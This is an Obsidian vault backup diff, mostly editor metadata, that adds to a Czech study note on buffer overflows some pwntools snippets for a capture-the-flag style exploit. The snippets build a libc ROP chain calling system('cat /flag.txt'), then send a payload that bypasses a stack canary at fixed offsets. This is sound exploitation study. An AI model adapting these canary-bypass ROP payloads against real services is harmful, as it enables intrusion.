vault backup: 2024-01-21 22:50:32

notes/.obsidian/plugins/obsidian-activity-history/data.json

@@ -13,7 +13,7 @@
     {
       "path": "/",
       "date": "2024-01-21",
-      "size": 2616410
+      "size": 2643475
     }
   ],
   "activityHistory": [
@@ -1494,7 +1494,7 @@
         },
         {
           "date": "2024-01-21",
-          "value": 1085471
+          "value": 1112536
         }
       ]
     }

notes/.obsidian/workspace.json

@@ -21,12 +21,12 @@
             }
           },
           {
-            "id": "220c2bd4c1f0e9b6",
+            "id": "d3368004a5e49da6",
             "type": "leaf",
             "state": {
               "type": "excalidraw",
               "state": {
-                "file": "data/Buffer Overflow 2024-01-21 15.54.12.excalidraw.md"
+                "file": "data/Buffer Overflow 2024-01-21 22.34.42.excalidraw.md"
               }
             }
           },
@@ -39,26 +39,6 @@
                 "file": "data/Buffer Overflow 2024-01-21 20.13.05.excalidraw.md"
               }
             }
-          },
-          {
-            "id": "d7d9d567f43c48b3",
-            "type": "leaf",
-            "state": {
-              "type": "excalidraw",
-              "state": {
-                "file": "data/Buffer Overflow 2024-01-21 18.11.54.excalidraw.md"
-              }
-            }
-          },
-          {
-            "id": "57c8d8375df64870",
-            "type": "leaf",
-            "state": {
-              "type": "excalidraw",
-              "state": {
-                "file": "Excalidraw/Drawing 2024-01-21 20.54.05.excalidraw.md"
-              }
-            }
           }
         ]
       },
@@ -297,22 +277,23 @@
   },
   "active": "530d80185ed0d520",
   "lastOpenFiles": [
+    "data/Pasted image 20240121224927.png",
+    "data/Pasted image 20240121224352.png",
+    "data/Pasted image 20240121224128.png",
+    "data/Buffer Overflow 2024-01-21 22.34.42.excalidraw.md",
+    "data/Buffer Overflow 2024-01-21 20.13.05.excalidraw.md",
+    "data/Buffer Overflow 2024-01-21 22.34.42.excalidraw.svg",
+    "kbb/ose/Buffer Overflow.md",
+    "data/Pasted image 20240121221825.png",
     "data/Pasted image 20240121221343.png",
     "data/Pasted image 20240121221104.png",
     "data/Pasted image 20240121221020.png",
     "data/Pasted image 20240121220455.png",
     "data/Pasted image 20240121213831.png",
     "data/Buffer Overflow 2024-01-21 15.54.12.excalidraw.md",
-    "kbb/ose/Buffer Overflow.md",
     "Excalidraw/Drawing 2024-01-21 20.54.05.excalidraw.md",
     "Excalidraw/Drawing 2024-01-21 20.54.05.excalidraw.svg",
-    "data/Buffer Overflow 2024-01-21 20.13.05.excalidraw.md",
     "data/Buffer Overflow 2024-01-21 18.11.54.excalidraw.md",
-    "data/Buffer Overflow 2024-01-21 20.13.05.excalidraw.svg",
-    "data/Pasted image 20240121191816.png",
-    "data/Pasted image 20240121190849.png",
-    "data/Pasted image 20240121190838.png",
-    "data/Pasted image 20240121190818.png",
     "data/Buffer Overflow 2024-01-21 18.47.55.excalidraw.md",
     "data/Buffer Overflow 2024-01-21 17.35.47.excalidraw.md",
     "data/Buffer Overflow 2024-01-21 15.04.46.excalidraw.md",
@@ -332,7 +313,6 @@
     "mat/Geometrie/Analytická/Skalární součin.md",
     "mat/Geometrie/Analytická/Příklady.md",
     "mat/Geometrie/Analytická/Posunutí o vektor.md",
-    "mat/Geometrie/Analytická/Parametricke vyjadreni primky.md",
     "mat/Geometrie/Analytická/Skalární součin.md.part",
     "mat/Geometrie/Analytická/Jednotkový vektor.md.part",
     "numbat",

notes/data/data.md

@@ -26,7 +26,9 @@ imagePrefix: 'data/'
 -  [[data/Buffer Overflow 2024-01-21 18.11.54.excalidraw|Buffer Overflow 2024-01-21 18.11.54.excalidraw]]
 -  [[data/Buffer Overflow 2024-01-21 18.47.55.excalidraw.svg|Buffer Overflow 2024-01-21 18.47.55.excalidraw.svg]]
 -  [[data/Buffer Overflow 2024-01-21 18.47.55.excalidraw|Buffer Overflow 2024-01-21 18.47.55.excalidraw]]
+-  [[data/Buffer Overflow 2024-01-21 20.13.05.excalidraw.svg|Buffer Overflow 2024-01-21 20.13.05.excalidraw.svg]]
 -  [[data/Buffer Overflow 2024-01-21 20.13.05.excalidraw|Buffer Overflow 2024-01-21 20.13.05.excalidraw]]
+-  [[data/Buffer Overflow 2024-01-21 22.34.42.excalidraw|Buffer Overflow 2024-01-21 22.34.42.excalidraw]]
 -  [[data/Ekvigonala 2023-09-08 12.19.22.excalidraw|Ekvigonala 2023-09-08 12.19.22.excalidraw]]
 -  [[data/Ekvigonala 2023-09-08 12.31.39.excalidraw|Ekvigonala 2023-09-08 12.31.39.excalidraw]]
 -  [[data/Gravitace.excalidraw|Gravitace.excalidraw]]
@@ -385,6 +387,12 @@ imagePrefix: 'data/'
 -  [[data/Pasted image 20240121190838.png|Pasted image 20240121190838.png]]
 -  [[data/Pasted image 20240121190849.png|Pasted image 20240121190849.png]]
 -  [[data/Pasted image 20240121191816.png|Pasted image 20240121191816.png]]
+-  [[data/Pasted image 20240121213831.png|Pasted image 20240121213831.png]]
+-  [[data/Pasted image 20240121220455.png|Pasted image 20240121220455.png]]
+-  [[data/Pasted image 20240121221020.png|Pasted image 20240121221020.png]]
+-  [[data/Pasted image 20240121221104.png|Pasted image 20240121221104.png]]
+-  [[data/Pasted image 20240121221343.png|Pasted image 20240121221343.png]]
+-  [[data/Pasted image 20240121221825.png|Pasted image 20240121221825.png]]
 -  [[data/Posunutí o vektor 2023-12-15 11.33.14.excalidraw|Posunutí o vektor 2023-12-15 11.33.14.excalidraw]]
 -  [[data/Pravidelný n-úhelník 2023-10-13 12.07.37.excalidraw|Pravidelný n-úhelník 2023-10-13 12.07.37.excalidraw]]
 -  [[data/Priklady 2023-12-14 13.52.36.excalidraw|Priklady 2023-12-14 13.52.36.excalidraw]]

notes/kbb/ose/Buffer Overflow.md

@@ -2,7 +2,7 @@
 
 ---
 
-## x86
+## Témata
 
 - Assembly
 	- Intel zápis 
@@ -304,6 +304,8 @@ info proc mappings
 ![[Pasted image 20240121221020.png]]
 ![[Pasted image 20240121221104.png]]
 
+---
+
 ```py
 >>> hex(libc.sym['system'])
 '0x7f8e171f7760'
@@ -311,3 +313,66 @@ info proc mappings
 
 ![[Pasted image 20240121221343.png]]
 
+![[Pasted image 20240121221825.png]]
+
+---
+
+![[Buffer Overflow 2024-01-21 22.34.42.excalidraw]]
+
+---
+
+```asm
+MOV EDI, 0x1
+```
+
+---
+
+```asm
+POP EDI
+RET
+```
+
+---
+
+```py
+>>> rop = ROP(libc, badchars=b'\n')
+>>> rop.call(libc.sym['exit'], 0)
+```
+
+```py
+>>> rop = ROP(libc, base, badchar='b\n')
+>>> rop.call(libc.sym['system'], 'cat /flag.txt')
+>>> rop.call(libc.sym['exit'], 0)
+```
+
+---
+
+![[Pasted image 20240121224128.png]]
+![[Pasted image 20240121224352.png]]
+
+0x10-0x58 = 0x48 = 72
+
+---
+
+```py
+>>> io.sendline(flat({
+	72: canary,
+	88: rop.build()
+}))
+```
+
+---
+
+![[Pasted image 20240121224927.png]]
+
+`system + 0x2c`
+
+---
+
+```py
+>>> io.sendline(flat({
+	72: canary,
+	88: libc.sym['system'] + 0x2c
+	96: rop.build()
+}))
+```